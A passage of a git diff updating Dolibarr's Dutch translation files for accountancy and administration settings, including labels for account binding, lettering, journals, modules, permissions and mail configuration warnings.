niet gedefinieerd in het serviceblad) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Rekening (uit het rekeningschema) te gebruiken als de standaardrekening voor de diensten die vanuit de EEG naar een ander EEG-land worden verkocht (gebruikt indien niet gedefinieerd in het serviceblad) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Rekening (van het Rekeningschema) te gebruiken als de standaardrekening voor de diensten die worden verkocht en geëxporteerd naar een ander buitenland (gebruikt indien niet gedefinieerd in het serviceblad) Doctype=Type of document Docdate=Date @@ -214,12 +220,13 @@ Codejournal=Journaal JournalLabel=Journaal label NumPiece=Boekingstuk TransactionNumShort=Transactienummer -AccountingCategory=Aangepaste groep +AccountingCategory=Aangepaste groep accounts +AccountingCategories=Aangepaste groepen accounts GroupByAccountAccounting=Groeperen op grootboekrekening GroupBySubAccountAccounting=Groepeer op subgrootboekrekening AccountingAccountGroupsDesc=Hier kunt u enkele grootboekrekening-groepen definiëren. Deze worden gebruikt voor gepersonaliseerde boekhoudrapporten. ByAccounts=Op grootboekrekening -ByPredefinedAccountGroups=Op voorgedefinieerde groepen +ByPredefinedAccountGroups=Op vooraf gedefinieerde accountgroepen ByPersonalizedAccountGroups=Op gepersonaliseerde groepen ByYear=Per jaar NotMatch=Niet ingesteld @@ -231,6 +238,7 @@ ConfirmDeleteMvt=Hiermee worden alle boekingen van de boekhouding voor het jaar ConfirmDeleteMvtPartial=Hiermee wordt de boeking uit de boekhouding verwijderd (alle regels die betrekking hebben op dezelfde boeking worden verwijderd) FinanceJournal=Kas/Bank journaal ExpenseReportsJournal=Overzicht resultaatrekening +InventoryJournal=Voorraad journaal DescFinanceJournal=Financieel journaal inclusief alle soorten betalingen per kas/bankrekening DescJournalOnlyBindedVisible=Deze boeking is gekoppeld aan een tegenrekening en kan worden opgenomen in de dagboeken en het grootboek. VATAccountNotDefined=BTW rekeningen niet gedefinieerd @@ -262,19 +270,20 @@ ShowSubtotalByGroup=Toon subtotaal op niveau Pcgtype=Rekening hoofdgroep PcgtypeDesc=Cluster grootboekrekeningen welke gebruikt worden als vooraf gedefinieerde 'filter'- en' groepeer'-criteria voor sommige boekhoudrapporten. 'INKOMEN' of 'UITGAVEN' worden bijvoorbeeld gebruikt als groepen voor boekhoudrekeningen van producten om het kosten- / inkomstenrapport samen te stellen. +AccountingCategoriesDesc=Aangepaste groep rekeningen kan worden gebruikt om boekhoudrekeningen onder één naam te groeperen om het gebruik van filters of het maken van aangepaste rapporten te vergemakkelijken. Reconcilable=Samentrekken TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Raadpleeg hier de lijst met klant factuurregels die (al dan niet) zijn gekoppeld aan een grootboekrekening vaneen product -DescVentilMore=In de meeste gevallen, als u vooraf gedefinieerde producten of diensten gebruikt en u het rekeningnummer instelt op de product- / servicekaart, kan de toepassing alle koppelingen tussen uw factuurregels en de boekhoudrekening van uw rekeningschema maken, met één druk op de knop "%s". Als er geen rekenig is ingesteld op de product- / servicekaarten of als u nog enkele regels hebt die niet aan een rekening zijn gekoppeld, moet u een handmatige koppeling maken via het menu "%s". -DescVentilDoneCustomer=Bekijk hier de lijst met factuurregels en hun grootboekrekening -DescVentilTodoCustomer=Koppel factuurregels welke nog niet verbonden zijn met een product grootboekrekening -ChangeAccount=Wijzig de product/dienst grootboekrekening voor geselecteerde regels met de volgende grootboekrekening: +DescVentilCustomer=Raadpleeg hier de lijst met klantfactuurregels die al dan niet gebonden zijn aan een productrekening uit het rekeningschema +DescVentilMore=In de meeste gevallen, als u vooraf gedefinieerde producten of diensten gebruikt en u de rekening (vanuit het rekeningschema) instelt op de product-/dienstkaart, kan de applicatie alle binding tussen uw factuurregels en de boekhoudrekening van uw grafiek maken van accounts, met slechts één klik met de knop "%s" . Als er geen account is ingesteld op product-/servicekaarten of als u nog steeds enkele regels hebt die niet aan een account zijn gebonden, moet u een handmatige binding maken vanuit het menu " %s ". +DescVentilDoneCustomer=Raadpleeg hier de lijst met factuurregels van klanten en hun productrekening uit het rekeningschema +DescVentilTodoCustomer=Bind factuurregels die nog niet zijn gebonden met een productrekening vanuit het rekeningschema +ChangeAccount=Wijzig de product-/dienstrekening (uit rekeningschema) voor de geselecteerde regels met de volgende rekening: Vide=- -DescVentilSupplier=Raadpleeg hier de lijst met leverancier factuurregels die al dan niet zijn gekoppeld aan een productgrootboekrekening (alleen mutaties die nog niet zijn doorgeboekt in de boekhouding zijn zichtbaar) +DescVentilSupplier=Raadpleeg hier de lijst met leveranciersfactuurregels die al dan niet gebonden zijn aan een productrekening uit het rekeningschema (alleen records die nog niet in de boekhouding zijn overgezet zijn zichtbaar) DescVentilDoneSupplier=Raadpleeg hier de regels van de leveranciers facturen en hun tegenrekening DescVentilTodoExpenseReport=Koppel kosten-boekregels aan grootboekrekeningen welke nog niet zijn vastgelegd DescVentilExpenseReport=Hier kunt u de lijst raadplegen van kostenregels om te koppelen aan een grootboekrekening (of niet). @@ -282,24 +291,25 @@ DescVentilExpenseReportMore=Als u een account instelt op het type onkostendeclar DescVentilDoneExpenseReport=Hier kunt u de lijst raadplegen van kostenregels met hun tegenrekening Closure=Jaarafsluiting -DescClosure=Consult here the number of movements by month not yet validated & locked +DescClosure=Raadpleeg hier het aantal bewegingen per maand nog niet gevalideerd & vergrendeld OverviewOfMovementsNotValidated=Overzicht van bewegingen niet gevalideerd en vergrendeld AllMovementsWereRecordedAsValidated=Alle bewegingen werden geregistreerd als gevalideerd en vergrendeld NotAllMovementsCouldBeRecordedAsValidated=Niet alle bewegingen konden als gevalideerd en vergrendeld worden geregistreerd -ValidateMovements=Valideer wijzigingen +ValidateMovements=Valideer en vergrendel bewegingen... DescValidateMovements=Elke wijziging of verwijdering van inboeken, afletteren en verwijderingen is verboden. Alle boekingen moeten worden gevalideerd, anders is afsluiten niet mogelijk -ValidateHistory=Automatisch boeken +ValidateHistory=Automatisch afstemmen AutomaticBindingDone=Automatische bindings uitgevoerd (%s) - Automatische binding was niet mogelijk voor record (%s) +DoManualBindingForFailedRecord=U moet een handmatige koppeling maken voor de %s rij(en) die niet automatisch zijn gekoppeld. -ErrorAccountancyCodeIsAlreadyUse=Fout. U kunt geen grootboekrekening verwijderen welke in gebruik is. +ErrorAccountancyCodeIsAlreadyUse=Fout, u kunt deze rekening of rekeningschema niet verwijderen of uitschakelen omdat deze wordt gebruikt MvtNotCorrectlyBalanced=Beweging niet correct gebalanceerd. Debet = %s & Credit = %s Balancing=Balansen FicheVentilation=Koppelen card GeneralLedgerIsWritten=Grootboek transacties GeneralLedgerSomeRecordWasNotRecorded=Sommige transacties konden niet worden doorgeboekt. Als er geen andere foutmelding is, komt dit waarschijnlijk omdat ze reeds zijn doorgeboekt. NoNewRecordSaved=Geen record meer om over te zetten -ListOfProductsWithoutAccountingAccount=Overzicht van producten welke nog niet zijn gekoppeld aan een grootboekrekening +ListOfProductsWithoutAccountingAccount=Lijst van producten die niet gebonden zijn aan enige rekening of rekeningschema ChangeBinding=Wijzig koppeling Accounted=Geboekt in grootboek NotYetAccounted=Nog niet overgezet naar boekhouding @@ -322,9 +332,10 @@ AccountingJournalType1=Overige bewerkingen AccountingJournalType2=Verkopen AccountingJournalType3=Aankopen AccountingJournalType4=Bank -AccountingJournalType5=Kostenoverzicht +AccountingJournalType5=Declaraties AccountingJournalType8=Voorraad AccountingJournalType9=HAS-nieuw +GenerationOfAccountingEntries=Genereren van boekhoudkundige boekingen ErrorAccountingJournalIsAlreadyUse=Dit dagboek is al in gebruik AccountingAccountForSalesTaxAreDefinedInto=Opmerking: Grootboekrekeningen voor BTW worden vastgelegd in menukeuze %s-%s NumberOfAccountancyEntries=Aantal boekingen @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=Aantal veranderingen ACCOUNTING_DISABLE_BINDING_ON_SALES=Schakel het koppelen en doorboeken naar de boekhouding van verkopen uit (facturen van klanten worden niet opgenomen in de boekhouding) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Schakel het koppelen en doorboeken naar de boekhouding van inkopen uit (facturen van leveranciers worden niet doorgeboekt in de boekhouding) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Schakel het koppelen en doorboeken naar de boekhouding van onkostendeclaraties uit (met onkostendeclaraties wordt geen rekening gehouden in de boekhouding) +ACCOUNTING_ENABLE_LETTERING=Schakel de afletteren functie in de boekhouding in +ACCOUNTING_ENABLE_AUTOLETTERING=Schakel de automatische belettering in bij het overstappen naar de boekhouding ## Export +NotExportLettering=Exporteer het afletteren niet bij het genereren van het bestand NotifiedExportDate=Geëxporteerde regels markeren als geëxporteerd (om een regel te wijzigen, moet u de hele transactie verwijderen en opnieuw in de boekhouding opnemen) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Valideer en vergrendel de geëxporteerde items (hetzelfde effect als de functie "%s", wijziging en verwijdering van de regels is ZEKER niet mogelijk) +NotifiedExportFull=Documenten exporteren? DateValidationAndLock=Datum validatie en vergrendelen ConfirmExportFile=Bevestiging van het genereren van het boekhoudkundige exportbestand ? ExportDraftJournal=Journaal exporteren @@ -392,7 +407,7 @@ SaleLocal=Lokale verkoop SaleExport=Verkoop buitenland SaleEEC=Verkoop binnen de EU SaleEECWithVAT=Verkoop binnen de EU met een btw die niet nul is, dus we veronderstellen dat dit GEEN intracommunautaire verkoop is en de voorgestelde grootboekrekening het standaardproductaccount is. -SaleEECWithoutVATNumber=Verkoop binnen de EU zonder btw, maar het btw-nummer van een derde partij is niet gedefinieerd. Voor standaardverkoop vallen we terug op het product-grootboekrekening. U kunt indien nodig het btw-nummer van een derde partij of het productaccount aanpassen. +SaleEECWithoutVATNumber=Verkoop in de EEG zonder btw, maar het btw-nummer van de derde partij is niet gedefinieerd. Voor standaardverkopen vallen we terug op de rekening. U kunt indien nodig het btw-nummer van de derde partij corrigeren of het productaccount wijzigen dat wordt voorgesteld om te binden. ForbiddenTransactionAlreadyExported=Niet toegestaan: De transactie is gevalideerd en/of geëxporteerd. ForbiddenTransactionAlreadyValidated=Niet toegestaan: De transactie is gevalideerd. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Berekend Formula=Formule ## Reconcile +LetteringAuto=Automatisch afstemmen +LetteringManual=Handboek afstemmen Unlettering=niet afstemmen +UnletteringAuto=Auto niet afstemmen +UnletteringManual=niet-afstemmen handleiding AccountancyNoLetteringModified=Geen afstemming gewijzigd AccountancyOneLetteringModifiedSuccessfully=Eén afstemming succesvol gewijzigd AccountancyLetteringModifiedSuccessfully=%s afstemming succesvol gewijzigd @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Eén onafstemming succesvol gewijz AccountancyUnletteringModifiedSuccessfully=%s afstemmen succesvol gewijzigd ## Confirm box -ConfirmMassUnlettering=Bulk verwijderen afstemming bevestiging -ConfirmMassUnletteringQuestion=Weet u zeker dat u de %s geselecteerde record(s) ongedaan wilt maken? +ConfirmMassUnletteringAuto=Bulk automatische afstemming ongedaan maken bevestiging +ConfirmMassUnletteringManual=Bulk handmatige afstemming ongedaan maken bevestiging +ConfirmMassUnletteringQuestion=Weet u zeker dat u de %s geselecteerde record(s) wilt ontkoppelen? ConfirmMassDeleteBookkeepingWriting=Bevestiging bulk verwijdering ConfirmMassDeleteBookkeepingWritingQuestion=Hiermee wordt de transactie uit de boekhouding verwijderd (alle regels die betrekking hebben op dezelfde transactie worden verwijderd) Weet u zeker dat u de geselecteerde record(en) van %s wilt verwijderen? @@ -423,14 +443,15 @@ ErrorInvoiceContainsLinesNotYetBoundedShort=Sommige regels op de factuur zijn ni ExportNotSupported=Het ingestelde exportformaat wordt niet ondersteund op deze pagina BookeppingLineAlreayExists=Reeds doorgeboekte regels NoJournalDefined=Geen dagboek ingesteld -Binded=Geboekte regels -ToBind=Te boeken regels -UseMenuToSetBindindManualy=Regels die nog niet zijn gebonden, gebruik het menu %s om de binding handmatig te maken +Binded=Gekoppelde regels +ToBind=Te koppelen regels +UseMenuToSetBindindManualy=Regels die nog niet zijn gekoppeld, gebruik het menu %s om de koppeling handmatig te maken SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry, deze module is niet compatibel met de experimentele functie van situatiefacturen -AccountancyErrorMismatchLetterCode=Komt niet overeen in afstemmingscode +AccountancyErrorMismatchLetterCode=Mismatch in afstemmingscode AccountancyErrorMismatchBalanceAmount=Het saldo (%s) is niet gelijk aan 0 AccountancyErrorLetteringBookkeeping=Er zijn fouten opgetreden met betrekking tot de transacties: %s -ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorAccountNumberAlreadyExists=Het boekhoudnummer %s bestaat al +ErrorArchiveAddFile=Kan het bestand "%s" niet in het archief plaatsen ## Import ImportAccountingEntries=Boekingen @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=Multivalutacode (Idevise) DateExport=Exportdatum WarningReportNotReliable=Waarschuwing, dit rapport is niet gebaseerd op het grootboek, dus bevat het niet de transactie die handmatig in het grootboek is gewijzigd. Als uw journalisatie up-to-date is, is de weergave van de boekhouding nauwkeuriger. ExpenseReportJournal=Kostenoverzicht -InventoryJournal=Inventarisatie +DocsAlreadyExportedAreExcluded=Reeds geëxporteerde documenten worden uitgesloten +ClickToHideAlreadyExportedLines=Klik om reeds geëxporteerde regels te verbergen NAccounts=%s accounts diff --git a/htdocs/langs/nl_NL/admin.lang b/htdocs/langs/nl_NL/admin.lang index ab201c44d23..8acc7f4464a 100644 --- a/htdocs/langs/nl_NL/admin.lang +++ b/htdocs/langs/nl_NL/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Cliënt collatie WarningModuleNotActive=Module %s dient te worden ingeschakeld WarningOnlyPermissionOfActivatedModules=Hier worden alleen de rechten van geactiveerde modules weergegeven. U kunt andere modules activeren in het menu Home > Instellingen > Modules DolibarrSetup=Installatie of update van Dolibarr -InternalUser=Interne gebruiker -ExternalUser=Externe gebruiker InternalUsers=Interne gebruikers ExternalUsers=Externe gebruikers UserInterface=Gebruikersomgeving @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Max. aantal regels voor widgets AllWidgetsWereEnabled=Alle beschikbare widgets zijn geactiveerd +WidgetAvailable=Widget available PositionByDefault=Standaard volgorde Position=Positie MenusDesc=Menu-managers bepalen de inhoud van de twee menubalken in (horizontaal en verticaal). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP / SMTPS-host (standaard waarde in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS-poort (niet gedefinieerd in PHP op Unix-achtige systemen) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (niet gedefinieerd in PHP op Unix-achtige systemen) MAIN_MAIL_EMAIL_FROM=E-mail afzender voor automatische e-mails (standaardwaarde in php.ini: %s) +EMailHelpMsgSPFDKIM=Om te voorkomen dat Dolibarr-e-mails als spam worden geclassificeerd, moet u ervoor zorgen dat de server is geautoriseerd om e-mails vanaf dit adres te verzenden via SPF- en DKIM-configuratie MAIN_MAIL_ERRORS_TO=E-mailadres voor gebruikt foute e-mails (velden 'Fout-Aan' in verzonden e-mails) MAIN_MAIL_AUTOCOPY_TO= Kopieer (BCC) alle verzonden e-mails naar MAIN_DISABLE_ALL_MAILS=Schakel alle e-mailverzending uit (voor testdoeleinden of demo's) @@ -375,7 +375,7 @@ DoTestSendHTML=Test het verzenden van HTML ErrorCantUseRazIfNoYearInMask=Fout, kan optie @ niet gebruiken om teller te resetten als sequence {yy} or {yyyy} niet in het masker. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Fout, kan optie @ niet gebruiken wanneer de volgorde {jj}{mm} of {jjjj}{mm} niet is opgenomen in het masker. UMask=Umask parameter voor nieuwe bestanden op een Unix- / Linux- / BSD bestandssysteem. -UMaskExplanation=Deze parameter laat u de rechten bepalen welke standaard zijn ingesteld voor de bestanden aangemaakt door Dolibarr op de server (tijdens het uploaden, bijvoorbeeld).
      Het moet de octale waarde zijn (bijvoorbeeld, 0666 betekent lezen en schrijven voor iedereen).
      Deze parameter wordt NIET op een Windows server gebruikt +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Kijk op de Wiki pagina voor een lijst met bijdragers en hun organisatie UseACacheDelay= Ingestelde vertraging voor de cache export in secondes (0 of leeg voor geen cache) DisableLinkToHelpCenter=Verberg de link " Hulp of ondersteuning nodig " op de inlogpagina @@ -439,8 +439,10 @@ Unique=Uniek Boolean=Boolean (één checkbox) ExtrafieldPhone = Telefoon ExtrafieldPrice = Prijs +ExtrafieldPriceWithCurrency=Prijs met valuta ExtrafieldMail = E-mail ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Keuze lijst ExtrafieldSelectList = Kies uit tabel ExtrafieldSeparator=Scheidingsteken (geen veld) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Checkboxen ExtrafieldCheckBoxFromList=Checkboxen uit tabel ExtrafieldLink=Link naar een object ComputedFormula=Berekend veld -ComputedFormulaDesc=U kunt hier een formule invoeren met andere eigenschappen van het object of een PHP-codering om een dynamisch berekende waarde te krijgen. U kunt alle PHP compatibele formules gebruiken, inclusief de "?" condition operator en volgend globaal object: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      WAARSCHUWING : Mogelijk zijn slechts enkele eigenschappen van $ object beschikbaar. Als je eigenschappen nodig hebt die niet zijn geladen, haal dan gewoon het object in je formule zoals in het tweede voorbeeld.
      Als u een berekend veld gebruikt, betekent dit dat u geen enkele waarde uit de interface kunt invoeren. Als er een syntaxisfout is, retourneert de formule mogelijk ook niets.

      Voorbeeld van formule:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc-> zip, 1, 2 )

      Voorbeeld om object
      (($ $ reloadedobj = new Societe ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id? $ obj-> id> ($ obj-> id: ($ obj-)) te herladen > rowid: $ object-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Ander voorbeeld van formule om het laden van een object en het bovenliggende object te forceren:
      (($ reloadedbj0) )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = nieuw project ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Berekend veld opslaan ComputedpersistentDesc=Berekende extra velden worden opgeslagen in de database, maar de waarde wordt alleen opnieuw berekend als het object van dit veld wordt gewijzigd. Als het berekende veld afhankelijk is van andere objecten of algemene gegevens, kan deze waarde onjuist zijn !! ExtrafieldParamHelpPassword=Dit veld leeg laten betekent dat deze waarde zonder codering wordt opgeslagen (veld mag alleen worden verborgen met een ster op het scherm).
      Stel 'auto' in om de standaard coderingsregel te gebruiken om het wachtwoord in de database op te slaan (waarde lezen is dan alleen de hash, geen manier om de oorspronkelijke waarde op te halen) @@ -501,7 +503,8 @@ WarningPHPMail=WAARSCHUWING: De instelling om e-mails te verzenden vanuit de app WarningPHPMailA=- Het gebruik van de server van de e-mailserviceprovider verhoogt de betrouwbaarheid van uw e-mail. Dus het verhoogt de kans te worden afgeleverd zonder te worden gemarkeerd als SPAM WarningPHPMailB=- Sommige e-mailproviders (zoals Yahoo) staan niet toe dat u een e-mail verzendt vanaf een andere server dan hun eigen server. Uw huidige installatie gebruikt de server van de applicatie om e-mail te verzenden en niet de server van uw e-mailprovider, dus sommige ontvangers (degene die compatibel zijn met het beperkende DMARC-protocol) zullen uw e-mailprovider vragen of zij uw e-mail kunnen accepteren en sommige e-mailproviders (zoals Yahoo) reageert mogelijk "nee" omdat de server niet van hen is, dus enkele van uw verzonden e-mails worden mogelijk niet geaccepteerd voor bezorging (let ook op de verzendquota van uw e-mailprovider). WarningPHPMailC=- Het gebruik van de SMTP-server van uw eigen e-mailserviceprovider om e-mails te verzenden is ook interessant, dus alle e-mails die vanuit de toepassing worden verzonden, worden ook opgeslagen in uw "Verzonden" -map van uw mailbox. -WarningPHPMailD=Ook is het daarom aan te raden om de verzendmethode van e-mails te wijzigen naar de waarde "SMTP". Als je echt de standaard "PHP"-methode wilt behouden om e-mails te verzenden, negeer deze waarschuwing dan, of verwijder hem door de constante MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP op 1 te zetten in Startpagina - Instellingen - Overig. +WarningPHPMailD=Het is daarom aan te raden om de verzendmethode van e-mails te wijzigen in de waarde "SMTP". +WarningPHPMailDbis=Als u echt de standaard "PHP"-methode voor het verzenden van e-mails wilt behouden, negeert u deze waarschuwing of verwijdert u deze door %shier te klikken%s. WarningPHPMail2=Als uw e-mail SMTP-provider de e-mailclient moet beperken tot bepaalde IP-adressen (zeer zeldzaam), is dit het IP-adres van de mail user agent (MUA) voor uw ERP CRM-toepassing: %s. WarningPHPMailSPF=Als de domeinnaam in je e-mailadres van de afzender beschermd is door een SPF record (vraag je domeinnaam registrar), dan moet je de volgende IP's toevoegen in het SPF record van de DNS van je domein: %s . ActualMailSPFRecordFound=Werkelijk SPF-record gevonden (voor e-mail %s): %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Voorbeeld:
      Voor het formulier om een nie PageUrlForDefaultValuesList=
      Voorbeeld:
      Voor de pagina met een lijst van relaties, is dit %s .
      Voor de URL van externe modules die in de aangepaste map zijn geïnstalleerd, moet u de "custom /" niet opnemen, dus gebruik een pad zoals mymodule / mypagelist.php en niet custom / mymodule / mypagelist.php.
      Als u standaardwaarde alleen als url heeft enkele parameter wilt, kunt u gebruik maken van %s AlsoDefaultValuesAreEffectiveForActionCreate=Merk ook op dat het overschrijven van standaardwaarden voor het maken van formulieren alleen werkt voor pagina's die correct zijn ontworpen (dus met parameteractie = maken of aanpassen ...) EnableDefaultValues=Aanpassing van standaardwaarden inschakelen -EnableOverwriteTranslation=Schakel het gebruik van de overschreven vertaling in +EnableOverwriteTranslation=Sta aanpassing van vertalingen toe GoIntoTranslationMenuToChangeThis=Er is een vertaling gevonden voor de sleutel met deze code. Om deze waarde te wijzigen, moet u deze bewerken vanuit Home-Setup-vertaling. WarningSettingSortOrder=Pas op. Het instellen van een standaardsorteervolgorde kan resulteren in een technische fout wanneer u op de lijstpagina gaat als veld een onbekend veld is. Als u een dergelijke fout ondervindt, gaat u terug naar deze pagina om de standaard sorteervolgorde te verwijderen en het standaardgedrag te herstellen. Field=veld @@ -643,9 +646,11 @@ Module2300Name=Geplande taken Module2300Desc=Taakplanning (ook wel cron of chrono tabel) Module2400Name=Gebeurtenissen/Agenda Module2400Desc=Volgen van gebeurtenissen. Registreer automatische gebeurtenissen voor vastleggingen of neem handmatige gebeurtenissen of vergaderingen op. Dit is de belangrijkste module voor goed klant- of leveranciersrelatiebeheer. +Module2430Name=Boekingskalendersysteem +Module2430Desc=Zorg voor een online agenda zodat iedereen afspraken kan boeken, volgens vooraf gedefinieerde bereiken of beschikbaarheid. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Geautomatiseerde organisatie van gemaakte en opgeslagen documenten. Deel deze indien gewenst. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / webservices (SOAP-server) Module2600Desc=Schakel de Dolibarr SOAP server in die API services aanbiedt Module2610Name=API / webservices (REST-server) Module2610Desc=Schakel de Dolibarr REST-server in die API-services biedt @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Capaciteitconversie GeoIP Maxmind Module3200Name=Niet aanpasbare archieven Module3200Desc=Schakel een niet aanpasbaar logboek van zakelijke evenementen in. Evenementen worden in realtime gearchiveerd. Het logboek is een alleen-lezen tabel met gekoppelde gebeurtenissen die kunnen worden geëxporteerd. Deze module kan voor sommige landen verplicht zijn. +Module3300Name=Modulebouwer +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Sociale netwerken Module3400Desc=Schakel Social Network-velden in voor derden en adressen (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Functies toevoegen om Incoterms te beheren Module63000Name=Bronnen Module63000Desc=Beheer middelen (printers, auto's, kamers, ...) voor toewijzing aan evenementen -Permission11=Bekijk afnemersfacturen +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Ontvangsten +Permission11=Read customer invoices (and payments) Permission12=Creëer / wijzigen afnemersfacturen Permission13=Klantfacturen laten vervallen Permission14=Valideer afnemersfacturen @@ -842,9 +852,9 @@ Permission286=Contactpersonen exporteren Permission291=Tarieven inzien Permission292=Stel rechten voor tarieven in Permission293=Wijzig klant-tarieven -Permission300=Barcodes lezen -Permission301=Barcodes maken/wijzigen -Permission302=Verwijder barcodes +Permission301=Genereer PDF-vellen met streepjescodes +Permission304=Barcodes maken/wijzigen +Permission305=Verwijder barcodes Permission311=Diensten inzien Permission312=Dienst/abonnement aan het contract toevoegen Permission331=Bekijk weblinks @@ -940,7 +950,7 @@ Permission1190=Goedkeuren (tweede goedkeuring) inkooporders Permission1191=Exporteer bestellingen van leveranciers en hun attributen Permission1201=Geef het resultaat van een uitvoervergunning Permission1202=Creëren/wijzigen een uitvoervergunning -Permission1231=Lees leveranciersfacturen +Permission1231=Read vendor invoices (and payments) Permission1232=Creëer/wijzig leveranciersfacturen Permission1233=Valideer leveranciersfacturen Permission1234=Verwijderen leveranciersfacturen @@ -971,13 +981,14 @@ Permission3301=Maak nieuwe modules Permission4001=Lees vaardigheid/baan/positie Permission4002=Vaardigheid/baan/positie aanmaken/wijzigen Permission4003=Vaardigheid/baan/positie verwijderen -Permission4020=Evaluaties lezen -Permission4021=Maak/wijzig uw evaluatie -Permission4022=Evaluatie valideren -Permission4023=Evaluatie verwijderen -Permission4030=Zie vergelijkingsmenu +Permission4021=Lees evaluaties (van u en uw ondergeschikten) +Permission4022=Evaluaties maken/wijzigen +Permission4023=Evaluatie valideren +Permission4025=Evaluatie verwijderen +Permission4028=Zie vergelijkingsmenu Permission4031=Persoonlijke informatie lezen Permission4032=Schrijf persoonlijke informatie +Permission4033=Lees alle evaluaties (zelfs die van gebruikers die niet ondergeschikt zijn) Permission10001=Lees website-inhoud Permission10002=Website-inhoud maken / wijzigen (HTML- en JavaScript-inhoud) Permission10003=Creëer / wijzig website-inhoud (dynamische php-code). Gevaarlijk, moet worden voorbehouden aan beperkte ontwikkelaars. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type vervreemding van activa TypeOfUnit=Type eenheid SetupSaved=Instellingen opgeslagen SetupNotSaved=Installatie niet opgeslagen +OAuthServiceConfirmDeleteTitle=OAuth-invoer verwijderen +OAuthServiceConfirmDeleteMessage=Weet u zeker dat u dit OAuth-item wilt verwijderen? Alle bestaande tokens ervoor worden ook verwijderd. +ErrorInEntryDeletion=Fout bij het verwijderen van invoer +EntryDeleted=Invoer verwijderd BackToModuleList=Terug naar modulelijst BackToDictionaryList=Terug naar woordenboekenlijst TypeOfRevenueStamp=Soort belastingstempel @@ -1222,7 +1237,7 @@ SetupDescription4=  %s -> %s

      Dit programma is een s SetupDescription5=Andere items in het Setup-menu beheren optionele parameters. SetupDescriptionLink= %s - %s SetupDescription3b=Basisparameters die worden gebruikt om het standaardgedrag van uw toepassing aan te passen (bijvoorbeeld voor landgerelateerde functies). -SetupDescription4b=Deze software is een suite van vele modules/applicaties. De modules met betrekking tot uw behoeften moeten worden ingeschakeld en geconfigureerd. Menu-items verschijnen met de activering van deze modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Beveiligingsgebeurtenissen die worden gecontroleerd NoSecurityEventsAreAduited=Er worden geen beveiligingsgebeurtenissen gecontroleerd. U kunt ze inschakelen via menu %s Audit=Beveiligingsgebeurtenissen @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Setup functies kunnen alleen door Administrator gebruikers - Categorie van activiteiten: Levering van goederen
      - Categorie van activiteiten: Dienstverlening
